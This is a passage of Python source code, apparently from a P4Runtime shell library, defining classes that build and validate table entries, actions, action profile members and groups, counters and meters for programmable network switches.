end_ = int.from_bytes(end, byteorder='big')
if start_ > end_:
raise UserError("Invalid range match: start is greater than end")
if start_ == 0 and end_ == ((1 << field_info.bitwidth) - 1):
raise UserError(
"Ignoring range don't care match (all possible values) as per P4Runtime spec")
mf = p4runtime_pb2.FieldMatch()
mf.field_id = field_info.id
mf.range.low = bytes_utils.make_canonical_if_option_set(start)
mf.range.high = bytes_utils.make_canonical_if_option_set(end)
return mf
def _add_field(self, field_info):
self._fields[field_info.name] = field_info
self._recompute_suffixes()
def _recompute_suffixes(self):
suffixes = {}
suffix_count = Counter()
for fname in self._fields:
suffix = None
for s in reversed(fname.split(".")):
suffix = s if suffix is None else s + "." + suffix
suffixes[suffix] = fname
suffix_count[suffix] += 1
for suffix, c in suffix_count.items():
if c > 1:
del suffixes[suffix]
self._fields_suffixes = suffixes
def __str__(self):
return '\n'.join([str(mf) for name, mf in self._mk.items()])
def _repr_pretty_(self, p, cycle):
for name, mf in self._mk.items():
p.text(str(mf))
def set(self, **kwargs):
for name, value in kwargs.items():
self[name] = value
def clear(self):
self._mk.clear()
def _count(self):
return len(self._mk)
class Action:
def __init__(self, action_name=None):
self._init = False
if action_name is None:
raise UserError("Please provide name for action")
self.action_name = action_name
action_info = context.get_action(action_name)
if action_info is None:
raise UserError("Unknown action '{}'".format(action_name))
self._action_id = action_info.preamble.id
self._params = OrderedDict()
for param in action_info.params:
self._params[param.name] = param
self._action_info = action_info
self._param_values = OrderedDict()
self._set_docstring()
self._init = True
def _set_docstring(self):
self.__doc__ = "Action parameters for action '{}':\n\n".format(self.action_name)
for name, info in self._params.items():
self.__doc__ += str(info)
self.__doc__ += "\n\n"
self.__doc__ += "Set a param value with <self>['<param_name>'] = '<value>'\n"
self.__doc__ += "You may also use <self>.set(<param_name>='<value>')\n"
def _ipython_key_completions_(self):
return self._params.keys()
def __dir__(self):
return ["action_name", "msg", "set"]
def _get_param(self, name):
if name not in self._params:
raise UserError(
"'{}' is not a valid action parameter name for action '{}'".format(
name, self._action_name))
return self._params[name]
def __setattr__(self, name, value):
if name[0] == "_" or not self._init:
super().__setattr__(name, value)
return
if name == "action_name":
raise UserError("Cannot change action name")
super().__setattr__(name, value)
def __setitem__(self, name, value):
param_info = self._get_param(name)
self._param_values[name] = self._parse_param(value, param_info)
print(self._param_values[name])
def __getitem__(self, name):
_ = self._get_param(name)
print(self._param_values.get(name, "Unset"))
def _parse_param(self, s, param_info):
if type(s) is not str:
raise UserError("Action parameter value must be a string")
v = bytes_utils.parse_value(s, param_info.bitwidth)
p = p4runtime_pb2.Action.Param()
p.param_id = param_info.id
p.value = bytes_utils.make_canonical_if_option_set(v)
return p
def msg(self):
msg = p4runtime_pb2.Action()
msg.action_id = self._action_id
msg.params.extend(self._param_values.values())
return msg
def _from_msg(self, msg):
assert(self._action_id == msg.action_id)
self._params.clear()
for p in msg.params:
p_name = context.get_param_name(self.action_name, p.param_id)
self._param_values[p_name] = p
def __str__(self):
return str(self.msg())
def _repr_pretty_(self, p, cycle):
p.text(str(self.msg()))
def set(self, **kwargs):
for name, value in kwargs.items():
self[name] = value
class _EntityBase:
def __init__(self, entity_type, p4runtime_cls, modify_only=False):
self._init = False
self._entity_type = entity_type
self._entry = p4runtime_cls()
self._modify_only = modify_only
def __dir__(self):
d = ["msg", "read"]
if self._modify_only:
d.append("modify")
else:
d.extend(["insert", "modify", "delete"])
return d
# to be called before issueing a P4Runtime request
# enforces checks that cannot be performed when setting individual fields
def _validate_msg(self):
return True
def _update_msg(self):
pass
def __str__(self):
self._update_msg()
return str(_repr_pretty_p4runtime(self._entry))
def _repr_pretty_(self, p, cycle):
self._update_msg()
p.text(_repr_pretty_p4runtime(self._entry))
def __getattr__(self, name):
raise AttributeError("'{}' object has no attribute '{}'".format(
self.__class__.__name__, name))
def msg(self):
self._update_msg()
return self._entry
def _write(self, type_):
self._update_msg()
self._validate_msg()
update = p4runtime_pb2.Update()
update.type = type_
getattr(update.entity, self._entity_type.name).CopyFrom(self._entry)
client.write_update(update)
def insert(self):
if self._modify_only:
raise NotImplementedError("Insert not supported for {}".format(self._entity_type.name))
logging.debug("Inserting entry")
self._write(p4runtime_pb2.Update.INSERT)
def delete(self):
if self._modify_only:
raise NotImplementedError("Delete not supported for {}".format(self._entity_type.name))
logging.debug("Deleting entry")
self._write(p4runtime_pb2.Update.DELETE)
def modify(self):
logging.debug("Modifying entry")
self._write(p4runtime_pb2.Update.MODIFY)
def _from_msg(self, msg):
raise NotImplementedError
def read(self, function=None):
# Entities should override this method and provide a helpful docstring
self._update_msg()
self._validate_msg()
entity = p4runtime_pb2.Entity()
getattr(entity, self._entity_type.name).CopyFrom(self._entry)
iterator = client.read_one(entity)
# Cannot use a (simpler) generator here as we need to decorate __next__ with
# @parse_p4runtime_error.
class _EntryIterator:
def __init__(self, entity, it):
self._entity = entity
self._it = it
self._entities_it = None
def __iter__(self):
return self
@parse_p4runtime_error
def __next__(self):
if self._entities_it is None:
rep = next(self._it)
self._entities_it = iter(rep.entities)
try:
entity = next(self._entities_it)
except StopIteration:
self._entities_it = None
return next(self)
if isinstance(self._entity, _P4EntityBase):
e = type(self._entity)(self._entity.name) # create new instance of same entity
else:
e = type(self._entity)()
msg = getattr(entity, self._entity._entity_type.name)
e._from_msg(msg)
# neither of these should be needed
# e._update_msg()
# e._entry.CopyFrom(msg)
return e
if function is None:
return _EntryIterator(self, iterator)
else:
for x in _EntryIterator(self, iterator):
function(x)
class _P4EntityBase(_EntityBase):
def __init__(self, p4_type, entity_type, p4runtime_cls, name=None, modify_only=False):
super().__init__(entity_type, p4runtime_cls, modify_only)
self._p4_type = p4_type
if name is None:
raise UserError("Please provide name for {}".format(p4_type.pretty_name))
self.name = name
self._info = P4Objects(p4_type)[name]
self.id = self._info.id
def __dir__(self):
return super().__dir__() + ["name", "id", "info"]
def info(self):
"""Display P4Info entry for the object"""
return self._info
class ActionProfileMember(_P4EntityBase):
def __init__(self, action_profile_name=None):
super().__init__(
P4Type.action_profile, P4RuntimeEntity.action_profile_member,
p4runtime_pb2.ActionProfileMember, action_profile_name)
self.member_id = 0
self.action = None
self._valid_action_ids = self._get_action_set()
self.__doc__ = """
An action profile member for '{}'
Use <self>.info to display the P4Info entry for the action profile.
Set the member id with <self>.member_id = <expr>.
To set the action specification <self>.action = <instance of type Action>.
To set the value of action parameters, use <self>.action['<param name>'] = <expr>.
Type <self>.action? for more details.
Typical usage to insert an action profile member:
m = action_profile_member['<action_profile_name>'](action='<action_name>', member_id=1)
m.action['<p1>'] = ...
...
m.action['<pM>'] = ...
# OR m.action.set(p1=..., ..., pM=...)
m.insert
For information about how to read members, use <self>.read?
""".format(action_profile_name)
self._init = True
def __dir__(self):
return super().__dir__() + ["member_id", "action"]
def _get_action_set(self):
t_id = self._info.table_ids[0]
t_name = context.get_name_from_id(t_id)
t = context.get_table(t_name)
return set([action.id for action in t.action_refs])
def __call__(self, **kwargs):
for name, value in kwargs.items():
if name == "action" and type(value) is str:
value = Action(value)
setattr(self, name, value)
return self
def __setattr__(self, name, value):
if name[0] == "_" or not self._init:
super().__setattr__(name, value)
return
if name == "name":
raise UserError("Cannot change action profile name")
if name == "member_id":
if type(value) is not int:
raise UserError("member_id must be an integer")
if name == "action" and value is not None:
if not isinstance(value, Action):
raise UserError("action must be an instance of Action")
if not self._is_valid_action_id(value._action_id):
raise UserError("action '{}' is not a valid action for this action profile".format(
value.action_name))
super().__setattr__(name, value)
def _is_valid_action_id(self, action_id):
return action_id in self._valid_action_ids
def _update_msg(self):
self._entry.action_profile_id = self.id
self._entry.member_id = self.member_id
if self.action is not None:
self._entry.action.CopyFrom(self.action.msg())
def _from_msg(self, msg):
self.member_id = msg.member_id
if msg.HasField('action'):
action = msg.action
action_name = context.get_name_from_id(action.action_id)
self.action = Action(action_name)
self.action._from_msg(action)
def read(self, function=None):
"""Generate a P4Runtime Read RPC. Supports wildcard reads (just leave
the appropriate fields unset).
If function is None, returns an iterator. Iterate over it to get all the
members (as ActionProfileMember instances) returned by the
server. Otherwise, function is applied to all the members returned
by the server.
"""
return super().read(function)
class GroupMember:
"""
A member in an ActionProfileGroup.
Construct with GroupMember(<member_id>, weight=<weight>, watch=<watch>,
watch_port=<watch_port>).
You can set / get attributes member_id (required), weight (default 1), watch (default 0),
watch_port (default "").
"""
def __init__(self, member_id=None, weight=1, watch=0, watch_port=b""):
if member_id is None:
raise UserError("member_id is required")
self._msg = p4runtime_pb2.ActionProfileGroup.Member()
self._msg.member_id = member_id
self._msg.weight = weight
if watch:
self._msg.watch = watch
if watch_port:
self._msg.watch_port = watch_port
def __dir__(self):
return ["member_id", "weight", "watch", "watch_port"]
def __setattr__(self, name, value):
if name[0] == "_":
super().__setattr__(name, value)
return
if name == "member_id":
if type(value) is not int:
raise UserError("member_id must be an integer")
self._msg.member_id = value
return
if name == "weight":
if type(value) is not int:
raise UserError("weight must be an integer")
self._msg.weight = value
return
if name == "watch":
if type(value) is not int:
raise UserError("watch must be an integer")
self._msg.watch = value
return
if name == "watch_port":
if type(value) is not bytes:
raise UserError("watch_port must be a byte string")
self._msg.watch_port = value
return
super().__setattr__(name, value)
def __getattr__(self, name):
if name == "member_id":
return self._msg.member_id
if name == "weight":
return self._msg.weight
if name == "watch":
return self._msg.watch
if name == "watch_port":
return self._msg.watch_port
return super().__getattr__(name)
def __str__(self):
return str(self._msg)
def _repr_pretty_(self, p, cycle):
p.text(str(p))
class ActionProfileGroup(_P4EntityBase):
def __init__(self, action_profile_name=None):
super().__init__(
P4Type.action_profile, P4RuntimeEntity.action_profile_group,
p4runtime_pb2.ActionProfileGroup, action_profile_name)
self.group_id = 0
self.max_size = 0
self.members = []
self.__doc__ = """
An action profile group for '{}'
Use <self>.info to display the P4Info entry for the action profile.
Set the group id with <self>.group_id = <expr>. Default is 0.
Set the max size with <self>.max_size = <expr>. Default is 0.
Add members to the group with <self>.add(<member_id>, weight=<weight>, watch=<watch>,
watch_port=<watch_port>).
weight, watch and watch port are optional (default to 1, 0 and "" respectively).
Typical usage to insert an action profile group:
g = action_profile_group['<action_profile_name>'](group_id=1)
g.add(<member id 1>)
g.add(<member id 2>)
# OR g.add(<member id 1>).add(<member id 2>)
For information about how to read groups, use <self>.read?
""".format(action_profile_name)
self._init = True
def __dir__(self):
return super().__dir__() + ["group_id", "max_size", "members", "add", "clear"]
def __call__(self, **kwargs):
for name, value in kwargs.items():
setattr(self, name, value)
return self
def __setattr__(self, name, value):
if name[0] == "_" or not self._init:
super().__setattr__(name, value)
return
if name == "name":
raise UserError("Cannot change action profile name")
elif name == "group_id":
if type(value) is not int:
raise UserError("group_id must be an integer")
elif name == "members":
if type(value) is not list:
raise UserError("members must be a list of GroupMember objects")
for m in value:
if type(m) is not GroupMember:
raise UserError("members must be a list of GroupMember objects")
super().__setattr__(name, value)
def add(self, member_id=None, weight=1, watch=0, watch_port=b""):
"""Add a member to the members list."""
self.members.append(GroupMember(member_id, weight, watch, watch_port))
return self
def clear(self):
"""Empty members list."""
self.members = []
def _update_msg(self):
self._entry.action_profile_id = self.id
self._entry.group_id = self.group_id
self._entry.max_size = self.max_size
del self._entry.members[:]
for member in self.members:
if type(member) is not GroupMember:
raise UserError("members must be a list of GroupMember objects")
m = self._entry.members.add()
m.CopyFrom(member._msg)
def _from_msg(self, msg):
self.group_id = msg.group_id
self.max_size = msg.max_size
self.members = []
for member in msg.members:
self.add(member.member_id, member.weight, member.watch, member.watch_port)
def read(self, function=None):
"""Generate a P4Runtime Read RPC. Supports wildcard reads (just leave
the appropriate fields unset).
If function is None, returns an iterator. Iterate over it to get all the
members (as ActionProfileGroup instances) returned by the
server. Otherwise, function is applied to all the groups returned by the
server.
"""
return super().read(function)
def _get_action_profile(table_name):
table = context.get_table(table_name)
implementation_id = table.implementation_id
if implementation_id == 0:
return None
try:
implementation_name = context.get_name_from_id(implementation_id)
except KeyError:
raise InvalidP4InfoError(
"Invalid implementation_id {} for table '{}'".format(
implementation_id, table_name))
ap = context.get_obj(P4Type.action_profile, implementation_name)
if ap is None:
raise InvalidP4InfoError("Unknown implementation for table '{}'".format(table_name))
return ap
class OneshotAction:
"""
An action in a oneshot action set.
Construct with OneshotAction(<action (Action instance)>, weight=<weight>, watch=<watch>,
watch_port=<watch_port>).
You can set / get attributes action (required), weight (default 1), watch (default 0),
watch_port (default "").
"""
def __init__(self, action=None, weight=1, watch=0, watch_port=b""):
if action is None:
raise UserError("action is required")
self.action = action
self.weight = weight
self.watch = watch
self.watch_port = watch_port
def __dir__(self):
return ["action", "weight", "watch", "watch_port", "msg"]
def __setattr__(self, name, value):
if name[0] == "_":
super().__setattr__(name, value)
return
if name == "action":
if not isinstance(value, Action):
raise UserError("action must be an instance of Action")
elif name == "weight":
if type(value) is not int:
raise UserError("weight must be an integer")
elif name == "watch":
if type(value) is not int:
raise UserError("watch must be an integer")
elif name == "watch_port":
print(type(value), value)
if type(value) is not bytes:
raise UserError("watch_port must be a byte string")
super().__setattr__(name, value)
def msg(self):
msg = p4runtime_pb2.ActionProfileAction()
msg.action.CopyFrom(self.action.msg())
msg.weight = self.weight
if self.watch:
msg.watch = self.watch
if self.watch_port:
msg.watch_port = self.watch_port
return msg
def __str__(self):
return str(self.msg())
def _repr_pretty_(self, p, cycle):
p.text(str(self.msg()))
class Oneshot:
def __init__(self, table_name=None):
self._init = False
if table_name is None:
raise UserError("Please provide table name")
self.table_name = table_name
self.actions = []
self._table_info = P4Objects(P4Type.table)[table_name]
ap = _get_action_profile(table_name)
if not ap:
raise UserError("Cannot create Oneshot instance for a direct table")
if not ap.with_selector:
raise UserError(
"Cannot create Oneshot instance for a table with an action profile "
"without selector")
self.__doc__ = """
A "oneshot" action set for table '{}'.
To add an action to the set, use <self>.add(<Action instance>).
You can also access the set of actions with <self>.actions (which is a Python list).
""".format(self.table_name)
self._init = True
def __dir__(self):
return ["table_name", "actions", "add", "msg"]
def __setattr__(self, name, value):
if name[0] == "_" or not self._init:
super().__setattr__(name, value)
return
if name == "table_name":
raise UserError("Cannot change table name")
elif name == "actions":
if type(value) is not list:
raise UserError("actions must be a list of OneshotAction objects")
for m in value:
if type(m) is not OneshotAction:
raise UserError("actions must be a list of OneshotAction objects")
if not self._is_valid_action_id(value.action._action_id):
raise UserError("action '{}' is not a valid action for table {}".format(
value.action.action_name, self.table_name))
super().__setattr__(name, value)
def _is_valid_action_id(self, action_id):
for action_ref in self._table_info.action_refs:
if action_id == action_ref.id:
return True
return False
def add(self, action=None, weight=1, watch=0, watch_port=b""):
"""Add an action to the oneshot action set."""
self.actions.append(OneshotAction(action, weight, watch, watch_port))
return self
def msg(self):
msg = p4runtime_pb2.ActionProfileActionSet()
msg.action_profile_actions.extend([action.msg() for action in self.actions])
return msg
def _from_msg(self, msg):
for action in msg.action_profile_actions:
action_name = context.get_name_from_id(action.action.action_id)
a = Action(action_name)
a._from_msg(action.action)
self.actions.append(OneshotAction(a, action.weight, action.watch, action.watch_port))
def __str__(self):
return str(self.msg())
def _repr_pretty_(self, p, cycle):
p.text(str(self.msg()))
class _CounterData:
@staticmethod
def attrs_for_counter_type(counter_type):
attrs = []
if counter_type in {p4info_pb2.CounterSpec.BYTES, p4info_pb2.CounterSpec.BOTH}:
attrs.append("byte_count")
if counter_type in {p4info_pb2.CounterSpec.PACKETS, p4info_pb2.CounterSpec.BOTH}:
attrs.append("packet_count")
return attrs
def __init__(self, counter_name, counter_type):
self._counter_name = counter_name
self._counter_type = counter_type
self._msg = p4runtime_pb2.CounterData()
self._attrs = _CounterData.attrs_for_counter_type(counter_type)
def __dir__(self):
return self._attrs
def __setattr__(self, name, value):
if name[0] == "_":
super().__setattr__(name, value)
return
if name not in self._attrs:
type_name = p4info_pb2._COUNTERSPEC_UNIT.values_by_number[self._counter_type].name
raise UserError("Counter '{}' is of type '{}', you cannot set '{}'".format(
self._counter_name, type_name, name))
if type(value) is not int:
raise UserError("{} must be an integer".format(name))
setattr(self._msg, name, value)
def __getattr__(self, name):
if name == "byte_count" or name == "packet_count":
return getattr(self._msg, name)
raise AttributeError("'{}' object has no attribute '{}'".format(
self.__class__.__name__, name))
def msg(self):
return self._msg
def _from_msg(self, msg):
self._msg.CopyFrom(msg)
def __str__(self):
return str(self.msg())
def _repr_pretty_(self, p, cycle):
p.text(str(self.msg()))
@classmethod
def set_count(cls, instance, counter_name, counter_type, name, value):
if instance is None:
d = cls(counter_name, counter_type)
else:
d = instance
setattr(d, name, value)
return d
@classmethod
def get_count(cls, instance, counter_name, counter_type, name):
if instance is None:
d = cls(counter_name, counter_type)
else:
d = instance
r = getattr(d, name)
return d, r
class _MeterConfig:
@staticmethod
def attrs():
return ["cir", "cburst", "pir", "pburst"]
def __init__(self, meter_name, meter_type):
self._meter_name = meter_name
self._meter_type = meter_type
self._msg = p4runtime_pb2.MeterConfig()
self._attrs = _MeterConfig.attrs()
def __dir__(self):
return self._attrs
def __setattr__(self, name, value):
if name[0] == "_":
super().__setattr__(name, value)
return
if name in self._attrs:
if type(value) is not int:
raise UserError("{} must be an integer".format(name))
setattr(self._msg, name, value)
def __getattr__(self, name):
if name in self._attrs:
return getattr(self._msg, name)
raise AttributeError("'{}' object has no attribute '{}'".format(
self.__class__.__name__, name))
def msg(self):
return self._msg
def _from_msg(self, msg):
self._msg.CopyFrom(msg)
def __str__(self):
return str(self.msg())
def _repr_pretty_(self, p, cycle):
p.text(str(self.msg()))
@classmethod
def set_param(cls, instance, meter_name, meter_type, name, value):
if instance is None:
d = cls(meter_name, meter_type)
else:
d = instance
setattr(d, name, value)
return d
@classmethod
def get_param(cls, instance, meter_name, meter_type, name):
if instance is None:
d = cls(meter_name, meter_type)
else:
d = instance
r = getattr(d, name)
return d, r
class TableEntry(_P4EntityBase):
@enum.unique
class _ActionSpecType(enum.Enum):
NONE = 0
DIRECT_ACTION = 1
MEMBER_ID = 2
GROUP_ID = 3
ONESHOT = 4
@classmethod
def _action_spec_name_to_type(cls, name):
return {
"action": cls._ActionSpecType.DIRECT_ACTION,
"member_id": cls._ActionSpecType.MEMBER_ID,
"group_id": cls._ActionSpecType.GROUP_ID,
"oneshot": cls._ActionSpecType.ONESHOT,
}.get(name, None)
def __init__(self, table_name=None):
super().__init__(
P4Type.table, P4RuntimeEntity.table_entry,
p4runtime_pb2.TableEntry, table_name)
self.match = MatchKey(table_name, self._info.match_fields)
self._action_spec_type = self._ActionSpecType.NONE
self._action_spec = None
self.priority = 0
self.is_default = False
ap = _get_action_profile(table_name)
if ap is None:
self._support_members = False
self._support_groups = False
else:
self._support_members = True
self._support_groups = ap.with_selector
self._direct_counter = None
self._direct_meter = None
for res_id in self._info.direct_resource_ids:
prefix = (res_id & 0xff000000) >> 24
if prefix == p4info_pb2.P4Ids.DIRECT_COUNTER:
self._direct_counter = context.get_obj_by_id(res_id)
elif prefix == p4info_pb2.P4Ids.DIRECT_METER:
self._direct_meter = context.get_obj_by_id(res_id)
self._counter_data = None
self._meter_config = None
self.metadata = b""
self.__doc__ = """
An entry for table '{}'
Use <self>.info to display the P4Info entry for this table.
To set the match key, use <self>.match['<field name>'] = <expr>.
Type <self>.match? for more details.
""".format(table_name)
if self._direct_counter is not None:
self.__doc__ += """
To set the counter spec, use <self>.counter_data.byte_count and/or <self>.counter_data.packet_count.
To unset it, use <self>.counter_data = None or <self>.clear_counter_data().
"""
if self._direct_meter is not None:
self.__doc__ += """
To access the meter config, use <self>.meter_config.<cir|cburst|pir|pburst>.
To unset it, use <self>.meter_config = None or <self>.clear_meter_config().
"""
if ap is None:
self.__doc__ += """
To set the action specification (this is a direct table):
<self>.action = <instance of type Action>.
To set the value of action parameters, use <self>.action['<param name>'] = <expr>.
Type <self>.action? for more details.
"""
if self._support_members:
self.__doc__ += """
Access the member_id with <self>.member_id.
"""
if self._support_groups:
self.__doc__ += """
Or access the group_id with <self>.group_id.
"""
self.__doc__ += """
To set the priority, use <self>.priority = <expr>.
To mark the entry as default, use <self>.is_default = True.
To add metadata to the entry, use <self>.metadata = <expr>.
"""
if ap is None:
self.__doc__ += """
Typical usage to insert a table entry:
t = table_entry['<table_name>'](action='<action_name>')
t.match['<f1>'] = ...
...
t.match['<fN>'] = ...
# OR t.match.set(f1=..., ..., fN=...)
t.action['<p1>'] = ...
...
t.action['<pM>'] = ...
# OR t.action.set(p1=..., ..., pM=...)
t.insert
Typical usage to set the default entry:
t = table_entry['<table_name>'](is_default=True)
t.action['<p1>'] = ...
...
t.action['<pM>'] = ...
# OR t.action.set(p1=..., ..., pM=...)
t.modify
"""
else:
self.__doc__ += """
Typical usage to insert a table entry:
t = table_entry['<table_name>']
t.match['<f1>'] = ...
...
t.match['<fN>'] = ...
# OR t.match.set(f1=..., ..., fN=...)
t.member_id = <expr>
"""
self.__doc__ += """
For information about how to read table entries, use <self>.read?
"""
self._init = True
def __dir__(self):
d = super().__dir__() + [
"match", "priority", "is_default", "metadata",
"clear_action", "clear_match", "clear_counter_data", "clear_meter_config"]
if self._support_groups:
d.extend(["member_id", "group_id", "oneshot"])
elif self._support_members:
d.append("member_id")
else:
d.append("action")
if self._direct_counter is not None:
d.append("counter_data")
if self._direct_meter is not None:
d.append("meter_config")
return d
def __call__(self, **kwargs):
for name, value in kwargs.items():
if name == "action" and type(value) is str:
value = Action(value)
setattr(self, name, value)
return self
def _action_spec_set_member(self, member_id):
if type(member_id) is None:
if self._action_spec_type == self._ActionSpecType.MEMBER_ID:
super().__setattr__("_action_spec_type", self._ActionSpecType.NONE)
super().__setattr__("_action_spec", None)
return
if type(member_id) is not int:
raise UserError("member_id must be an integer")
if not self._support_members:
raise UserError(
"Table does not have an action profile and therefore does not support members")
super().__setattr__("_action_spec_type", self._ActionSpecType.MEMBER_ID)
super().__setattr__("_action_spec", member_id)
def _action_spec_set_group(self, group_id):
if type(group_id) is None:
if self._action_spec_type == self._ActionSpecType.GROUP_ID:
super().__setattr__("_action_spec_type", self._ActionSpecType.NONE)
super().__setattr__("_action_spec", None)
return
if type(group_id) is not int:
raise UserError("group_id must be an integer")
if not self._support_groups:
raise UserError(
"Table does not have an action profile with selector "
"and therefore does not support groups")
super().__setattr__("_action_spec_type", self._ActionSpecType.GROUP_ID)
super().__setattr__("_action_spec", group_id)
def _action_spec_set_action(self, action):
if type(action) is None:
if self._action_spec_type == self._ActionSpecType.DIRECT_ACTION:
super().__setattr__("_action_spec_type", self._ActionSpecType.NONE)
super().__setattr__("_action_spec", None)
return
if not isinstance(action, Action):
raise UserError("action must be an instance of Action")
if self._info.implementation_id != 0:
raise UserError(
"Table has an implementation and therefore does not support direct actions "
"(P4Runtime 1.0 doesn't support writing the default action for indirect tables")
if not self._is_valid_action_id(action._action_id):
raise UserError("action '{}' is not a valid action for this table".format(
action.action_name))
super().__setattr__("_action_spec_type", self._ActionSpecType.DIRECT_ACTION)
super().__setattr__("_action_spec", action)
def _action_spec_set_oneshot(self, oneshot):
if type(oneshot) is None:
if self._action_spec_type == self._ActionSpecType.ONESHOT:
super().__setattr__("_action_spec_type", self._ActionSpecType.NONE)
super().__setattr__("_action_spec", None)
return
if not isinstance(oneshot, Oneshot):
raise UserError("oneshot must be an instance of Oneshot")
if not self._support_groups:
raise UserError(
"Table does not have an action profile with selector "
"and therefore does not support oneshot programming")
if self.name != oneshot.table_name:
raise UserError("This Oneshot instance was not created for this table")
super().__setattr__("_action_spec_type", self._ActionSpecType.ONESHOT)
super().__setattr__("_action_spec", oneshot)
def __setattr__(self, name, value):
if name[0] == "_" or not self._init:
super().__setattr__(name, value)
return
elif name == "name":
raise UserError("Cannot change table name")
elif name == "priority":
if type(value) is not int:
raise UserError("priority must be an integer")
elif name == "match" and not isinstance(value, MatchKey):
raise UserError("match must be an instance of MatchKey")
elif name == "is_default":
if type(value) is not bool:
raise UserError("is_default must be a boolean")
# TODO(antonin): should we do a better job and handle other cases (a field is set while
# is_default is set to True)?
if value is True and self.match._count() > 0:
print("Clearing match key because entry is now default")
self.match.clear()
elif name == "member_id":
self._action_spec_set_member(value)
return
elif name == "group_id":
self._action_spec_set_group(value)
return
elif name == "oneshot":
self._action_spec_set_oneshot(value)
elif name == "action" and value is not None:
self._action_spec_set_action(value)
return
elif name == "counter_data":
if self._direct_counter is None:
raise UserError("Table has no direct counter")
if value is None:
self._counter_data = None
return
raise UserError("Cannot set 'counter_data' directly")
elif name == "meter_config":
if self._direct_meter is None:
raise UserError("Table has no direct meter")
if value is None:
self._meter_config = None
return
raise UserError("Cannot set 'meter_config' directly")
elif name == "metadata":
if type(value) is not bytes:
raise UserError("metadata must be a byte string")
super().__setattr__(name, value)
def __getattr__(self, name):
if name == "counter_data":
if self._direct_counter is None:
raise UserError("Table has no direct counter")
if self._counter_data is None:
self._counter_data = _CounterData(
self._direct_counter.preamble.name, self._direct_counter.spec.unit)
return self._counter_data
if name == "meter_config":
if self._direct_meter is None:
raise UserError("Table has no direct meter")
if self._meter_config is None:
self._meter_config = _MeterConfig(
self._direct_meter.preamble.name, self._direct_meter.spec.unit)
return self._meter_config
t = self._action_spec_name_to_type(name)
if t is None:
return super().__getattr__(name)
if self._action_spec_type == t:
return self._action_spec
if t == self._ActionSpecType.ONESHOT:
self._action_spec_type = self._ActionSpecType.ONESHOT
self._action_spec = Oneshot(self.name)
return self._action_spec
return None
def _is_valid_action_id(self, action_id):
for action_ref in self._info.action_refs:
if action_id == action_ref.id:
return True
return False
def _from_msg(self, msg):
self.priority = msg.priority
self.is_default = msg.is_default_action
self.metadata = msg.metadata
for mf in msg.match:
mf_name = context.get_mf_name(self.name, mf.field_id)
self.match._mk[mf_name] = mf
if msg.action.HasField('action'):
action = msg.action.action
action_name = context.get_name_from_id(action.action_id)
self.action = Action(action_name)
self.action._from_msg(action)
elif msg.action.HasField('action_profile_member_id'):
self.member_id = msg.action.action_profile_member_id
elif msg.action.HasField('action_profile_group_id'):
self.group_id = msg.action.action_profile_group_id
elif msg.action.HasField('action_profile_action_set'):
self.oneshot = Oneshot(self.name)
self.oneshot._from_msg(msg.action.action_profile_action_set)
if msg.HasField('counter_data'):
self._counter_data = _CounterData(
self._direct_counter.preamble.name, self._direct_counter.spec.unit)
self._counter_data._from_msg(msg.counter_data)
else:
self._counter_data = None
if msg.HasField('meter_config'):
self._meter_config = _MeterConfig(
self._direct_meter.preamble.name, self._direct_meter.spec.unit)
self._meter_config._from_msg(msg.meter_config)
else:
self._meter_config = None
def read(self, function=None):
"""Generate a P4Runtime Read RPC. Supports wildcard reads (just leave
the appropriate fields unset).
If function is None, returns an iterator. Iterate over it to get all the
table entries (TableEntry instances) returned by the server. Otherwise,
function is applied to all the table entries returned by the server.
For example:
for te in <self>.read():
print(te)
The above code is equivalent to the following one-liner:
<self>.read(lambda te: print(te))
To delete all the entries from a table, simply use:
table_entry['<table_name>'].read(function=lambda x: x.delete())
"""
return super().read(function)
def _update_msg(self):
entry = p4runtime_pb2.TableEntry()
entry.table_id = self.id
entry.match.extend(self.match._mk.values())
entry.priority = self.priority
entry.is_default_action = self.is_default
entry.metadata = self.metadata
if self._action_spec_type == self._ActionSpecType.DIRECT_ACTION:
entry.action.action.CopyFrom(self._action_spec.msg())
elif self._action_spec_type == self._ActionSpecType.MEMBER_ID:
entry.action.action_profile_member_id = self._action_spec
elif self._action_spec_type == self._ActionSpecType.GROUP_ID:
entry.action.action_profile_group_id = self._action_spec
elif self._action_spec_type == self._ActionSpecType.ONESHOT:
entry.action.action_profile_action_set.CopyFrom(self._action_spec.msg())
if self._counter_data is None:
entry.ClearField('counter_data')
else:
entry.counter_data.CopyFrom(self._counter_data.msg())
if self._meter_config is None:
entry.ClearField('meter_config')
else:
entry.meter_config.CopyFrom(self._meter_config.msg())
self._entry = entry
def _validate_msg(self):
if self.is_default and self.match._count() > 0:
raise UserError(
"Match key must be empty for default entry, use <self>.is_default = False "
"or <self>.match.clear (whichever one is appropriate)")
def clear_action(self):
"""Clears the action spec for the TableEntry."""
super().__setattr__("_action_spec_type", self._ActionSpecType.NONE)
super().__setattr__("_action_spec", None)
def clear_match(self):
"""Clears the match spec for the TableEntry."""
self.match.clear()
def clear_counter_data(self):
"""Clear all counter data, same as <self>.counter_data = None"""
self._counter_data = None
def clear_meter_config(self):
"""Clear the meter config, same as <self>.meter_config = None"""
self._meter_config = None
class _CounterEntryBase(_P4EntityBase):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self._counter_type = self._info.spec.unit
self._data = None
def __dir__(self):
return super().__dir__() + _CounterData.attrs_for_counter_type(self._counter_type) + [
"clear_data"]
def __call__(self, **kwargs):
for name, value in kwargs.items():
setattr(self, name, value)
return self
def __setattr__(self, name, value):
if name[0] == "_" or not self._init:
super().__setattr__(name, value)
return
if name == "name":
raise UserError("Cannot change counter name")
if name == "byte_count" or name == "packet_count":
self._data = _CounterData.set_count(
self._data, self.name, self._counter_type, name, value)
return
if name == "data":
if value is None:
self._data = None
return
raise UserError("Cannot set 'data' directly")
super().__setattr__(name, value)
def __getattr__(self, name):
if name == "byte_count" or name == "packet_count":
self._data, r = _CounterData.get_count(
self._data, self.name, self._counter_type, name)
return r
if name == "data":
if self._data is None:
self._data = _CounterData(self.name, self._counter_type)
return self._data
return super().__getattr__(name)
def _from_msg(self, msg):
self._entry.CopyFrom(msg)
if msg.HasField('data'):
self._data = _CounterData(self.name, self._counter_type)
self._data._from_msg(msg.data)
else:
self._data = None
def _update_msg(self):
if self._data is None:
self._entry.ClearField('data')
else:
self._entry.data.CopyFrom(self._data.msg())
def clear_data(self):
"""Clear all counter data, same as <self>.data = None"""
self._data = None
class CounterEntry(_CounterEntryBase):
def __init__(self, counter_name=None):
super().__init__(
P4Type.counter, P4RuntimeEntity.counter_entry,
p4runtime_pb2.CounterEntry, counter_name,
